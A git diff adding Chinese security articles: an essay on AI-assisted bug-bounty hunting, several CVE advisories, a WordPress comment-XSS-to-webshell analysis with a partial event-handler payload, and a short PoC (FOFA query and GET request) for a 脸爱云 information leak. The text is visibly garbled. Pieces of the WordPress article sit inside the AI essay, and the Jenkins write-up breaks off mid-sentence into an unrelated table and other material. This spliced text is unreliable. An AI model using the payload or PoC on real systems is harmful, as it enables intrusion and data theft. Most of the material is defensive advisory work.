From 23ba4acac48552e027864d8e4a1a4681123b9c60 Mon Sep 17 00:00:00 2001
From: test
+ 标签包裹。关键在于处理换行符占位符
+ 时,函数中的正则表达式替换存在缺陷。该正则表达式模式 |
+ 标签错误地**插入**
+到 cite
+ 属性值的内部。
+
+错误处理导致的结果是:
+```
+
+通过率从35%提升到49%,核心原因不是AI找到了更多漏洞,而是AI**帮我更快地排除了没漏洞的目标**
+。以前一个目标要花两三个小时才能确认“这里确实没有可利用的点”,现在AI在信息收集和初筛阶段就能给出判断,我把时间集中到了真正有产出可能的目标上。
+
+单目标平均耗时从4.2小时降到2.8小时,省下来的1.4小时,主要来自信息收集(省47分钟)和报告撰写(省33分钟)。**这两个环节,恰好也是AI在30天里表现最稳定、误报率最低的环节。**
+## AI真正省时间的两个环节:数据说话
+### 环节一:信息收集——从65分钟到18分钟
+
+这个环节的省时效果是最确定的。
+
+以前测一个目标,信息收集流程是这样的:打开FOFA拉子域名,复制到txt,跑subfinder补充,等结果,整理存活列表,用httpx批量探测,导出结果,逐个看Title和指纹,把可疑的挑出来。60-90分钟是常态。
+
+现在我把流程改成了AI辅助的信息收集。给它目标域名,AI自动执行:调FOFA API拉资产、调subfinder枚举子域、调httpx存活探测、从JS文件里提取API端点。我只需要等结果,然后做一轮人工筛选。18分钟是实测中位数。
+指标 纯手工30天 AI辅助30天 变化 有效漏洞数 11 23 +109% 总提交数 31 47 +52% 提交通过率 35% 49% +14pp 高危及以上占比 27% 39% +12pp 单目标平均耗时 4.2小时 2.8小时 -33% 报告撰写耗时/份 55分钟 22分钟 -60% 信息收集耗时/目标 65分钟 18分钟 -72%
+有一个实际案例:某电商平台的JS bundle约18MB,200多个JS文件。以前手工翻找API端点,至少需要半天。这次我把所有JS文件喂给AI,Prompt是“提取所有API端点,包括HTTP方法、路径、参数名、是否携带认证头,以JSON格式返回”。AI在8分钟内输出了840个端点。我手工验证了前120个,准确率约96%,漏报3个。**光这一个环节,就省了至少三个小时。**
+### 环节二:报告撰写——从55分钟到22分钟
+
+这个环节的省时效果同样确定,而且通过率有明显提升。
+
+以前写一份SRC报告,我需要把Burp的请求/响应截图整理好,手动写漏洞描述、复现步骤、影响分析、修复建议。55分钟是保守估计,遇到复杂的攻击链报告,超过一个半小时很常见。
+
+现在我把报告撰写交给了AI。我把Burp的请求/响应文本、PoC命令、验证截图丢给它,Prompt大概是这样:“基于以下漏洞信息生成SRC报告。格式要求:结论先行,第一段写风险等级和业务影响;复现步骤逐条编号,含完整HTTP请求和响应;修复建议具体到代码层面。”
+
+AI生成的初稿,我只需要改三处:把AI常用的“可能导致”改成确定性的“可导致”、把AI编造的CVSS评分改成真实值、把通用修复建议改成针对这个系统的具体方案。
+
+报告质量也有提升。之前我提交的一份越权报告,审核回复是“复现步骤不够清晰”。现在AI生成的报告结构更规范,审核的反馈也少了。30天内提交的47份报告里,因“复现步骤不清”被退回的比例从之前的约15%降到了不到5%。
+## 这两个环节,AI真的帮不上忙
+### 环节一:业务逻辑漏洞的判定
+
+这是30天里最明确的边界。**AI无法判断“这个操作算不算越权”。**
+
+具体案例:我测一个SaaS平台,发现一个接口GET /api/v1/workspace/{id}/members
+,返回了成员列表。用Burp改了一下{id}
+,返回了另一个工作空间的成员信息。
+
+我把请求和响应丢给AI,问它“这算不算越权”。AI回复:“该接口未验证用户对工作空间的所有权,可能存在水平越权。建议进一步测试。”
+
+**这个回答毫无价值。**
+ 因为问题的核心不是“接口有没有校验所有权”,而是“这个接口的设计是否允许这种访问”。有些系统的workspace/{id}
+本身就是设计为公开可读的,比如共享工作空间的成员列表。有些系统的{id}
+本身就是一个不可枚举的UUID,能拿到UUID本身就是一种权限。
+
+这些判断需要**理解业务模型**
+。AI不知道这个平台的工作空间是“私有”还是“可共享”的,不知道{id}
+是顺序递增还是随机UUID,不知道返回的成员信息里有没有超出普通用户可见范围的内容。
+
+30天里,我通过AI标记的“疑似越权”发现的有效漏洞是**3个**
+。但AI标记出来让我去手工验证的“疑似越权”是**37个**
+。命中率8%。剩下的34个,要么是设计如此,要么是数据范围完全在权限边界之内。
+
+对比:AI在JS文件里提取API端点的准确率是96%,在报告生成上的可用率超过90%。**但在“这个业务逻辑算不算漏洞”的判断上,AI的命中率不到10%。**
+
+这不是AI能力不够,是**AI没有业务上下文**
+。它不知道这个SaaS平台的定价体系,不知道这个电商平台的优惠券规则,不知道这个金融系统的风控逻辑。它只能看到“接口返回了数据”,但看不到“这个数据在设计上该不该被看到”。
+
+一个佐证数据:CVE Bench的实测显示,AI在已知漏洞描述下的成功率约为25%,而自主发现漏洞的成功率仅为13%左右
+。**AI更擅长“利用已知问题”,而不是“发现新问题”。**
+### 环节二:创造性攻击链构造
+
+第二个AI帮不上忙的环节,是**把多个“低危”发现串联成一条完整的攻击链**
+。
+
+30天里,我最有价值的一个漏洞链,是这样一个组合:
+
+第一步,从JS文件里发现了一个硬编码的API Key,权限是只读。第二步,用这个Key调了一个文档导出接口,发现导出的文档URL里包含了另一个服务的内部域名。第三步,访问那个内部域名,发现它有一个未授权的调试端点,返回了数据库连接信息。
+
+三个发现单独看都不算高危——只读Key是信息泄露(中危),内部域名是信息泄露(低危),调试端点未授权是低危。**组合起来,是一条从边缘服务到核心数据库的完整攻击链,定级严重。**
+
+AI在第一步和第二步都有贡献——它帮我提取了API Key、帮我发现了文档导出接口。但**第三步的串联判断,完全是人做的**
+。AI看到调试端点返回了数据库连接信息,它的回复是“该端点可能泄露敏感信息,建议验证是否可连接数据库”。它不会主动去想“这个数据库连接信息,和前面那个API Key发现的是同一个系统的吗?这两个发现之间有没有逻辑关联?”
+
+Penetrify的2026年AI渗透测试工具评测给出了类似的结论:**2026年最具影响力的渗透测试发现,仍然来自人类创造力——支付流程绕过、多步授权链提权、云IAM策略链式利用。没有任何AI工具能可靠地找到这些。**
+
+pentest-tools.com
+在2026年6月对158名安全从业者的调查也印证了这一点:AI在漏洞扫描和发现阶段的使用率高达74.1%,但在**漏洞利用和攻击链构建**
+阶段的使用率骤降到36.7%
+。从业者们把AI放在“出错成本低”的环节,而在“出错成本高”的判断环节,仍然依赖人。
+## 为什么这两个环节AI帮不上忙
+
+这两个“帮不上忙”的环节,有一个共同的底层原因:**AI没有“业务模型”,也没有“攻击者直觉”。**
+
+业务逻辑漏洞的判定,需要你理解“这个系统是怎么设计的”。一个电商平台的优惠券叠加规则、一个SaaS平台的多租户隔离模型、一个金融系统的风控引擎——这些业务模型不在代码里,在产品的设计文档里、在业务团队的脑子里、在真实的用户行为里。AI看得到代码,看不到业务。
+
+创造性攻击链的构造,需要“攻击者直觉”——一种在看似无关的发现之间找到逻辑关联的能力。这种直觉来自大量的实战经验:你知道“只读Key”和“调试端点”之间可能存在什么联系,你知道“内部域名泄露”往往是通往核心资产的跳板。AI有知识,但没有这种“嗅觉”。
+
+一个安全研究者的评价很准确:“AI在覆盖、假设生成和代码分析方面很快。它在影响评估、验证和判断可利用性方面很差。每一个模型都会夸大发现。研究者的判断力,是噪音和CVE之间唯一的区别。”
+## 给不同阶段的你,几条实在建议
+
+**如果你是新手:**
+
+先用AI做信息收集和报告生成。这两个环节AI最稳,也最容易让你看到“AI确实有用”。但AI说“可能存在漏洞”的时候,你必须手工验证。它标出的每一个“高危”,你都要亲手确认。
+
+**如果你做了两三年:**
+
+用AI做批量初筛和报告生成,把你省下来的时间花在**业务逻辑理解和攻击链构造**
+上。这两个环节才是你的核心价值。AI能帮你更快地跑完流程,但跑完流程之后,真正能挖出高危漏洞的,是你对业务的理解和你串联发现的能力。
+
+**如果你在带团队:**
+
+把AI辅助的流程标准化,但**明确标注边界**
+。哪些环节用AI、用什么样的Prompt、输出格式是什么、谁来复核——写成SOP。同时明确告诉团队:AI标记的“疑似越权”不要直接写报告,必须手工验证业务逻辑;AI发现的“单个漏洞”不要直接提交,先看看能不能串联成攻击链。
+## 写在最后
+
+30天下来,我对AI在SRC挖洞里的定位有了清晰的认识。
+
+**AI是一个“覆盖工具”和“格式工具”。**
+ 它帮你覆盖更多的资产、更多的端点、更多的JS文件。它帮你把技术发现格式化成规范的报告。它不会累、不会烦、不会因为看了三小时JS就走神。
+
+**AI不是一个“判断工具”。**
+ 它不知道一个total
+字段从2变成34000意味着什么。它不知道一个只读API Key和一个调试端点之间可能存在什么关联。它不知道这个系统的业务逻辑允许什么、不允许什么。
+
+**有效漏洞翻倍,不是AI替你挖了洞。是AI帮你更快地跑完流程,让你有更多时间去做那些AI做不了的事——理解业务、构造攻击链、做判断。**
+
+那才是你真正该花时间的地方。
+
+**严正声明**
+
+本文所述AI辅助SRC挖洞的30天实测数据和案例,基于个人在SRC平台授权范围内的真实操作。所有案例均已脱敏处理。AI工具的使用应遵守各平台服务条款,不得将敏感数据上传至未经授权的第三方服务。漏洞挖掘必须在SRC平台明确授权的资产范围内进行。未授权测试属于违法行为。AI是工具,判断力是你的责任。
+
+
+
diff --git a/doc/2026-09/Acronis备份插件漏洞已被利用,攻击者可获取更高的Linux权限.md b/doc/2026-09/Acronis备份插件漏洞已被利用,攻击者可获取更高的Linux权限.md
new file mode 100644
index 00000000..87c7022c
--- /dev/null
+++ b/doc/2026-09/Acronis备份插件漏洞已被利用,攻击者可获取更高的Linux权限.md
@@ -0,0 +1,20 @@
+# Acronis备份插件漏洞已被利用,攻击者可获取更高的Linux权限
+原创 ZM
+ ZM 暗镜 2026-09-22 22:00
+
+Acronis 发布了一项紧急安全更新,修复其 Linux 版 cPanel & WHM 备份插件中存在的高危本地权限提升漏洞。该公司确认,攻击者已利用此漏洞对存在漏洞的部署发起了有限的定向攻击。
+
+该漏洞编号为 CVE-2026-87886,被描述为文件权限不安全问题,可能允许本地低权限攻击者在受影响的 Linux 服务器上获得提升的权限。Acronis 已将此漏洞的 CVSS 评分定为 7.8 分(满分 10 分),将其归类为高危漏洞。
+
+该漏洞在 Acronis 安全公告 SEC-10986 中有详细说明,并与 CWE-276 相关,后者指的是不正确的默认权限。文件权限管理不善可能会将敏感文件、脚本、二进制文件或配置数据暴露给不应有权修改或执行这些文件的用户。
+
+根据 CVSS 向量,该漏洞利用需要本地访问权限和低权限,但无需用户交互。成功利用该漏洞会影响机密性、完整性和可用性,并可能使攻击者获得对受感染托管环境的广泛控制权。
+
+CVSS 3.0 向量如下:CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
+
+这表明攻击者一定已经对服务器有了立足之地,可能是通过被入侵的 cPanel 帐户、被盗的凭据、易受攻击的 Web 应用程序或其他本地访问方式。
+
+然而,由于攻击复杂度低且无需用户交互,这种漏洞在共享主机和多租户 Linux 环境中尤其令人担忧。
+
+然该公司已注意到针对 cPanel 和 WHM 部署的 Acronis Backup 插件的漏洞利用,但尚未发现针对 Plesk 环境的任何漏洞利用,尽管底层权限提升问题也影响了其扩展程序。
+
diff --git a/doc/2026-09/CVE-2026-93616 Check Point 管理服务器漏洞遭在野利用,攻击者可执行任意脚本.md b/doc/2026-09/CVE-2026-93616 Check Point 管理服务器漏洞遭在野利用,攻击者可执行任意脚本.md
new file mode 100644
index 00000000..ae5386cf
--- /dev/null
+++ b/doc/2026-09/CVE-2026-93616 Check Point 管理服务器漏洞遭在野利用,攻击者可执行任意脚本.md
@@ -0,0 +1,22 @@
+# CVE-2026-93616 Check Point 管理服务器漏洞遭在野利用,攻击者可执行任意脚本
+sec随谈
+ sec随谈 sec随谈 2026-09-23 01:09
+
+Check Point 就一个正被积极利用的 Check Point 管理漏洞发出警告。攻击者利用 CVE-2026-93616 在受影响的服务器上运行未经授权的代码。各组织必须立即限制网络访问以防止系统遭到入侵。
+
+**为何重要**
+企业网络依赖管理服务器来协调安全策略,一旦此处遭到入侵,攻击者将获得对整个网络的广泛控制权。安全分析人员确认该漏洞正在被在野利用,Check Point 表示:"Check Point 已知晓少数客户遭受了攻击。"漏洞详情已公开披露,但研究人员尚未确认有公开的概念验证代码。虽然安装数量数据不详,但这些产品在全球保护着数千个企业网络。
+
+**攻击方式**
+该漏洞结合了目录遍历和不受限制的文件上传两种攻击手法。未经身份验证的攻击者通过 TCP 19009 端口连接至暴露的服务器,随后上传恶意载荷,目录遍历漏洞帮助绕过受限的上传目录限制,整个攻击序列使攻击者得以通过此 Check Point 管理漏洞直接执行任意脚本。
+
+**受影响版本**
+该漏洞影响安全管理服务器和多域安全管理服务器,同时也影响日志服务器、多域日志服务器和 SmartEvent。受影响的软件版本包括 R82.20、R82.10、R82、R81.20 和 R81.10,R80 至 R81 的旧版停止支持版本同样存在漏洞。Smart-1 Cloud 和 Check Point 防火墙设备不受影响。
+
+**补丁与缓解措施**
+Check Point 尚未针对所有版本发布最终补丁,LivePatch Take 28 和 29 均未修复此问题。管理员必须将管理服务器限制在安全网关之后,确保对 TCP 19009 端口的访问仅限于受信任的 IP 地址,并查阅 Check Point 官方公告获取详细配置说明。
+
+参考链接:
+
+https://support.checkpoint.com/results/sk/sk1000171/
+
diff --git a/doc/2026-09/Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE.md b/doc/2026-09/Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE.md
new file mode 100644
index 00000000..0dfd6268
--- /dev/null
+++ b/doc/2026-09/Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE.md
@@ -0,0 +1,95 @@
+# Jenkins 反序列化:CVE-2026-84645 伪造 Hudson 单例绕过 ACL 直达 Groovy RCE
+ 柠檬赏金猎人 2026-09-23 00:04
+
+### 概述
+###
+
+CVE-2026-84645(Jenkins PersistenceRoot 反序列化,SECURITY-3972)该漏洞影响 Jenkins weekly ≤ 2.579 / LTS ≤ 2.568.2,被评定为 critical
+(CWE-502)。攻击者仅需低权账号(Item/Configure
+)即可通过 config.xml
+ 注入特制对象图,绕过权限检查后以 Jenkins 服务账号身份执行任意 Groovy 代码。
+
+
+操作 纯手工耗时 AI辅助耗时 效率提升 子域名枚举 15分钟 3分钟 5x 端口扫描 10分钟 2分钟 5x 指纹识别 12分钟 2分钟 6x JS文件下载与提取 25分钟 8分钟 3.1x 结果整理与去重 13分钟 3分钟 4.3x 合计 75分钟 18分钟 4.2x
### 技术/功能
+
+**漏洞根因**
+:Jenkins 的 XStream 反序列化入口 hudson.util.RobustReflectionConverter.doUnmarshal
+ 放行了被 JEP-200 黑名单限制的 PersistenceRoot
+ 子类型,使其可以作为「对象图中的嵌套字段值」出现;同时放行了 transient
+ 字段(XStream 1.1.3 兼容模式)。由于 XStream 使用 Unsafe.allocateInstance
+ 不执行构造函数,攻击者可在 /job/RobustReflectionConverter.java:190Jenkins.java:4850/:4885
#
+
+#
+
+****# 防走失:https://gugesay.com/
+
+**不想错过任何消息?设置星标****↓ ↓ ↓**
+#
+
+
+
+
+#
+
+**摘要:利用一条看似无害的评论,触发连锁过滤转换,从良性的HTML标签演变为带有JavaScript事件处理程序的恶意HTML,最终导致服务器远程代码执行。WordPress 7.1.1已修复,补丁回溯到所有支持的4.7分支。**
+
+
+## 漏洞概要
+- **影响版本**
+:WordPress核心wpautop()
+函数中存在未经认证的存储型跨站脚本 (Stored Cross-Site Scripting, Stored XSS) 漏洞,编号CVE-2026-93485。
+
+- **修复版本**
+:已在WordPress 7.1.1中修复。**修复补丁已向所有支持的版本(自4.7起)进行了回溯移植**
+。如果你的站点版本低于其对应分支的已修复版本,则仍受影响。
+
+- **攻击方式**
+:未经验证的访客可以构造一条评论,当站点使用区块主题 (block theme) 或特定的经典主题 (classic theme) 渲染时,该评论会从良性的HTML经过一系列过滤器转换,最终形成带有活动JavaScript事件处理程序的恶意HTML。
+
+- **触发条件**
+:除了加载该评论所在的页面外,**无需任何交互**
+。当管理员浏览到包含恶意评论的页面时,攻击脚本将自动执行。
+
+- **潜在危害**
+:结合已知的WordPress提权链,通过管理员会话上传插件文件,即可实现**服务器代码执行 (Remote Code Execution, RCE)**
+。
+
+**如果您正在使用WordPress,请务必升级至WordPress 7.1.1,或至少是您所使用版本分支的最新发布版本。**
+> **编者按 (IDNSEC)**
+:此问题由作者Rafie Muhammad(Awesome Motive Inc. 的安全研究员)通过HackerOne上的WordPress漏洞赏金计划报告,并在协调披露后得到修复。
+
+## 漏洞成因:两阶段的过滤断层
+
+WordPress在评论保存时使用其HTML清理器 (KSES-Html 消毒器) 进行清理,然后在评论显示时通过 comment_text
+ 过滤器链进行格式化。**漏洞就发生在这两个步骤之间的空隙中。**
+
+评论允许白名单 (allowlist) 仅限七种简单标签(超链接、缩写、块引用、删除、内联引用和代码)。然而,comment_text
+ 上挂载的一系列**格式化过滤器**
+在处理这些合法标签时,存在缺陷,可以将无害的输入转换成为能执行JavaScript的恶意结构。
+### 攻击链详解
+
+核心利用点在于 声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
+ 标签 cite
+ 属性中的换行符 (\n
+)。它触发了一系列过滤器的不安全级联转换。下图清晰地展示了从评论提交到代码执行的演变过程:
+
+
+
+评论Payload从提交到执行每一步的图示
+
+**步骤1:KSES允许块引用标签的 cite 属性和换行**
+虽然KSES清理器严格限制了可用的标签和属性,但
+ 位于白名单中,且换行符 \n
+ 或其HTML实体 (
+) 可以被保留在属性值中,这是后续攻击的起点。
+
+**步骤2 & 核心步骤3:wpautop() 注入意外标签**wpautop()
+ 函数主要负责为文本添加段落标签。它会为块级元素(如
+)添加空行,并随后将其用
]*)>|i
+ 在匹配到占位符中的 >
+ 时就停止,将
b">
...攻击载荷...
+ 标签破坏了HTML结构,为下一步的转换创造了条件。
+
+**步骤4:wptexturize() 编码/不编码引号**
+当使用区块主题或某些调用了 wptexturize()
+ 的经典主题渲染时,该函数会将普通文本中的直引号 "
+ 转换为印刷体引号实体 ”
+。然而,**内容在 标签内的属性部分被视为纯文本**
+,其中的引号 "
+ 会被编码;而
+ 标签内部的直引号则被 wptexturize()
+ 有意排除(code
+ 在其 $default_no_texturize_tags
+ 列表中),从而保持原样。
+
+**步骤5:最终恶意HTML合成与执行**
+经过上述一系列级联转换,最终的HTML变成了这样:
+```
+ b”>
x" onfocus=alert(document.domain) autofocus tabindex=0
+ 标签上,实现**零点击 (zero-click)** + 自动触发JavaScript。仅需一个页面加载动作,恶意代码立即执行。 +## 三种绕过审核、直接触发的方式 + +WordPress默认设置下,并非所有评论都需要审核。至少存在三种途径可以让恶意评论无需管理员批准即可生效: +1. **重用安装程序创建的默认评论者** +:WordPress新安装附带了一条来自 A WordPress Commenter + (wapuu@wordpress.example +) 的已批准评论。使用相同的昵称和邮箱提交评论,系统会立即批准。 + +1. **相关设置被关闭** +:如果在【设置】→【讨论】中,未勾选“评论者必须有一条先前已批准的评论”,则任何新身份的评论都会直接存储为已批准状态。 + +1. **评论处于待审状态但仍对特定用户可见** +:待审核的评论内容,仍然会呈现给持有comment_author_+ Cookie的用户(即任何曾在该站点发表过评论的人)。攻击者可以通过自身的 ?unapproved= &moderation-hash= + 链接来访问。 + + + +从匿名评论到代码执行全程的录屏 +## 从XSS到服务器代码执行 + +当恶意脚本在管理员会话中运行时,它可以访问插件安装器。通过管理员权限上传一个包含PHP Webshell的插件压缩包,是WordPress已知的提权路径。具体流程如下: +1. **获取上传令牌 (Nonce)** +:通过管理员会话,脚本可以访问插件上传页面并从中提取一个安全令牌。 + +1. **在内存中构造恶意插件** +:创建一个简单的PKZIP格式的压缩包,其中包含一个带有任意命令执行代码的PHP文件。 + +1. **提交上传** +:将构造好的ZIP文件通过表单提交给WordPress安装器。 + +1. **直接访问Webshell** +:上传后的插件文件无需激活,直接通过其物理路径即可访问,从而执行任意系统命令。 + +## 修复补丁详情 + +WordPress 7.1.1 用一行代码修复了此漏洞。修复改变了 + 重写时的正则匹配模式,使其**能够识别并正确处理引号内的内容** +,从而防止错误的标签注入。 + +**修复对比(一行之差):** +``` +// 修复前(WordPress 7.1及更早版本):$text = preg_replace( '|]*)>|i', '', $text );// 修复后(WordPress 7.1.1):$text = preg_replace( '!
"\']|"[^"]*"|\'[^\']*\')*)>!i', '', $text ); +``` + +关键的改进是 (?:[^>"\']|"[^"]*"|\'[^\']*\')* + 这个新的子模式,它能够正确地“跳过”被引号包裹的整个字符串内容(包括其中可能包含的 > +),确保匹配直到**真正的** +标签结束符 > +,这样
+ 标签便能正确地放置在
+ 之后,而非其属性内部。 +## 披露时间线 +- **2026年9月8日** +:通过HackerOne上的WordPress漏洞赏金计划报告给核心团队。安全团队同日完成评估。 + +- **2026年9月15日** +:向Patchstack请求CVE编号。 + +- **2026年9月17日** +:WordPress 7.1.1 发布,包含修复程序,并向下回溯移植至 4.7.36 的所有支持分支。 + +- **2026年9月18日** +:Patchstack分配 CVE-2026-93485。 + +- **2026年9月21日** +:本技术研究文章发布。 + +原文: +https://idnsec.com/research/comment2shell-zero-click-pre-auth-xss-to-rce-in-wordpress-core/ + +- END - + +**感谢阅读,如果觉得还不错的话,动动手指给个三连吧~** + diff --git a/doc/2026-09/【已复现】WordPress 未认证路径遍历漏洞,特定条件下可导致RCE.md b/doc/2026-09/【已复现】WordPress 未认证路径遍历漏洞,特定条件下可导致RCE.md new file mode 100644 index 00000000..aa181426 --- /dev/null +++ b/doc/2026-09/【已复现】WordPress 未认证路径遍历漏洞,特定条件下可导致RCE.md @@ -0,0 +1,242 @@ +# 【已复现】WordPress 未认证路径遍历漏洞,特定条件下可导致RCE +原创 360漏洞研究院 + 360漏洞研究院 360漏洞研究院 2026-09-23 02:54 + +2026年9月22日,WordPress 官方披露 CVE-2026-87902 漏洞并发布修复版本。该漏洞存在于 WordPress 核心页面模板解析功能中,未经身份认证的攻击者可在满足特定条件时,加载主题目录之外的本地 PHP 文件,进一步可能导致远程代码执行。 + + +**利用前置条件:** +- **主题条件:** +当前主题或其父主题中,存在 page-templates 等名称以 page- 开头的目录。 + +- **服务器条件:** +存在网站程序能够读取并利用的本地 PHP 文件。如果要进一步执行攻击者指定的代码,还需服务器上的相关组件、配置和文件写入权限满足要求。 + +**使用受影响版本并不代表一定能够被直接远程执行代码** +,实际风险还与主题结构和服务器配置有关。 + + +目前 **360漏洞挖掘智能体已成功复现该漏洞** +。本文包含完整影响范围、正式修复方案、技术原理与复现细节。 + + ++ + +**01** + +**漏洞影响范围** + + + +受影响的 WordPress 核心版本: + +WordPress 7.1 分支 < 7.1.2 + +WordPress 7.0 分支 < 7.0.6 + +WordPress 6.9 分支 < 6.9.9 + +WordPress 6.8 分支 < 6.8.10 + +WordPress 6.7 分支 < 6.7.9 + +WordPress 6.6 分支 < 6.6.9 + +WordPress 6.5 分支 < 6.5.12 + +WordPress 6.4 分支 < 6.4.12 + +WordPress 6.3 分支 < 6.3.12 + +WordPress 6.2 分支 < 6.2.13 + +WordPress 6.1 分支 < 6.1.14 + +WordPress 6.0 分支 < 6.0.16 + +WordPress 5.9 分支 < 5.9.18 + +WordPress 5.8 分支 < 5.8.17 + +WordPress 5.7 分支 < 5.7.19 + +WordPress 5.6 分支 < 5.6.21 + +WordPress 5.5 分支 < 5.5.22 + +WordPress 5.4 分支 < 5.4.23 + +WordPress 5.3 分支 < 5.3.25 + +WordPress 5.2 分支 < 5.2.28 + +WordPress 5.1 分支 < 5.1.26 + +WordPress 5.0 分支 < 5.0.29 + +WordPress 4.9 分支 < 4.9.33 + +WordPress 4.8 分支 < 4.8.32 + +WordPress 4.7 分支 < 4.7.37 + + +**02** + +**修复建议** + + + +**正式防护方案** + +WordPress 7.1 分支升级至 7.1.2 + +WordPress 7.0 分支升级至 7.0.6 + +WordPress 6.9 分支升级至 6.9.9 + +WordPress 6.8 分支升级至 6.8.10 + +WordPress 6.7 分支升级至 6.7.9 + +WordPress 6.6 分支升级至 6.6.9 + +WordPress 6.5 分支升级至 6.5.12 + +WordPress 6.4 分支升级至 6.4.12 + +WordPress 6.3 分支升级至 6.3.12 + +WordPress 6.2 分支升级至 6.2.13 + +WordPress 6.1 分支升级至 6.1.14 + +WordPress 6.0 分支升级至 6.0.16 + +WordPress 5.9 分支升级至 5.9.18 + +WordPress 5.8 分支升级至 5.8.17 + +WordPress 5.7 分支升级至 5.7.19 + +WordPress 5.6 分支升级至 5.6.21 + +WordPress 5.5 分支升级至 5.5.22 + +WordPress 5.4 分支升级至 5.4.23 + +WordPress 5.3 分支升级至 5.3.25 + +WordPress 5.2 分支升级至 5.2.28 + +WordPress 5.1 分支升级至 5.1.26 + +WordPress 5.0 分支升级至 5.0.29 + +WordPress 4.9 分支升级至 4.9.33 + +WordPress 4.8 分支升级至 4.8.32 + +WordPress 4.7 分支升级至 4.7.37 + + +**03** + +**漏洞描述** + + + +该漏洞源于 WordPress 在处理页面请求、生成模板路径和加载模板文件时,未对用户输入和最终文件路径进行充分校验。 + + +WordPress 根据页面名称等请求参数选择页面模板。攻击者构造的多重编码路径可通过早期过滤,在后续模板解析时被解码为目录跳转符号。由于模板加载过程未充分检查最终文件路径是否仍位于允许的主题目录内,攻击者可能使系统将主题目录之外的本地 PHP 文件作为模板加载。 + + +在具备 PEAR 等额外环境条件时,该文件包含能力可进一步被用于写入并执行恶意 PHP 代码,造成敏感信息泄露、网站内容篡改或服务中断,影响范围受 PHP 服务账户权限限制。 + + +**04** + +**漏洞复现** + + + +360 漏洞研究院已成功复现 WordPress Core 未认证路径遍历与本地文件包含漏洞(CVE-2026-87902),构造并发送对应 Payload,通过读取服务器文件验证了该漏洞。 + + + +WordPress Core 未认证路径遍历与本地文件包含漏洞 + + +**05** + +**产品侧支持情况** + + + +**360安全智能体:** +支持该漏洞攻击的智能分析**。** + +**360测绘云 Quake** +:默认支持该产品的指纹识别。 + +**360高级持续性威胁预警系统** +:预计 2026年9月24日发布规则更新包,支持该漏洞利用行为的检测。 + +**360资产与漏洞检测管理系统** +:预计 2026年9月24日发布规则更新包,支持该漏洞利用行为的检测。 +**本地安全大脑** +:默认支持该漏洞的PoC检测。 + + +**06** + +**时间线** + + + +2026年9月23日,360漏洞研究院发布本安全风险通告。 + + +**07** + +参考链接 + + + +https://github.com/WordPress/wordpress-develop/security/advisories/GHSA-7hp8-65ch-5whp + +https://github.com/ressl/cve-2026-87902-poc + + +08 + +更多漏洞情报 + + + +“扫描下方二维码,进入公众号粉丝交流群。更多一手网安资讯、漏洞预警、技术干货和技术交流等您参与!” + + + + + +建议您订阅360数字安全-漏洞情报服务,获取更多漏洞情报详情以及处置建议,让您的企业远离漏洞威胁。 + + +邮箱:360VRI@360.cn + +网址:https://vi.loudongyun.360.net + + + +“洞”悉网络威胁,守护数字安全 + + +**关于我们** + + +360 漏洞研究院,隶属于360数字安全集团。其成员常年入选谷歌、微软、华为等厂商的安全精英排行榜, 并获得谷歌、微软、苹果史上最高漏洞奖励。研究院是中国首个荣膺Pwnie Awards“史诗级成就奖”,并获得多个Pwnie Awards提名的组织。累计发现并协助修复谷歌、苹果、微软、华为、高通等全球顶级厂商CVE漏洞3000多个,收获诸多官方公开致谢。研究院也屡次受邀在BlackHat,Usenix Security,Defcon等极具影响力的工业安全峰会和顶级学术会议上分享研究成果,并多次斩获信创挑战赛、天府杯等顶级黑客大赛总冠军和单项冠军。研究院将凭借其在漏洞挖掘和安全攻防方面的强大技术实力,帮助各大企业厂商不断完善系统安全,为数字安全保驾护航,筑造数字时代的安全堡垒。 + + diff --git a/doc/2026-09/【漏洞复现】脸爱云getMKh 信息泄露漏洞.md b/doc/2026-09/【漏洞复现】脸爱云getMKh 信息泄露漏洞.md new file mode 100644 index 00000000..9ff10e22 --- /dev/null +++ b/doc/2026-09/【漏洞复现】脸爱云getMKh 信息泄露漏洞.md @@ -0,0 +1,36 @@ +# 【漏洞复现】脸爱云getMKh 信息泄露漏洞 +原创 devildollking + devildollking 熔城Sec 2026-09-23 01:00 + + + +免责声明 + + 该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。公众号现在只对常读和星标的公众号才展示大图推送,建议把公众号设为星标,否则可能就看不到啦!感谢各位师傅。 + + + +漏洞描述 + +脸爱云-getMKh-信息泄露,导致数据信息泄露或者导致服务器被控制。 + + + +资产收集 +``` +title=="欢迎使用脸爱云 一脸通智慧管理平台" || body="View/UserReserved/UserReservedTest.aspx" +``` + + + + + +漏洞复现 +``` +GET /getMKh.ashx?TyName=Inyt HTTP/1.1 +Host: +``` + + + + diff --git a/doc/2026-09/【热点安全风险】9月23日 Arista VeloCloud 满分漏洞遭在野利用,攻击者无需认证即可直取 SD-WAN 中枢(CVE-2026-93952).md b/doc/2026-09/【热点安全风险】9月23日 Arista VeloCloud 满分漏洞遭在野利用,攻击者无需认证即可直取 SD-WAN 中枢(CVE-2026-93952).md new file mode 100644 index 00000000..83e145fb --- /dev/null +++ b/doc/2026-09/【热点安全风险】9月23日 Arista VeloCloud 满分漏洞遭在野利用,攻击者无需认证即可直取 SD-WAN 中枢(CVE-2026-93952).md @@ -0,0 +1,174 @@ +# 【热点安全风险】9月23日 | Arista VeloCloud 满分漏洞遭在野利用,攻击者无需认证即可直取 SD-WAN 中枢(CVE-2026-93952) + 华顺信安威胁情报中心 2026-09-22 23:30 + +**PART.****0****1** + + +风险汇总 + + + + +## 风险一:Arista VeloCloud 满分漏洞遭在野利用,攻击者无需认证即可直取 SD-WAN 中枢(CVE-2026-93952) + +Arista Networks 于 9 月 22 日警告,其本地部署的 VeloCloud Orchestrator(VCO)存在一枚已遭在野利用的严重漏洞,CVSS 3.1 满分 10.0。漏洞源于编排器 Web 接口输入校验不足,未认证攻击者无需操作凭据即可访问特权内部功能、直取 VCO 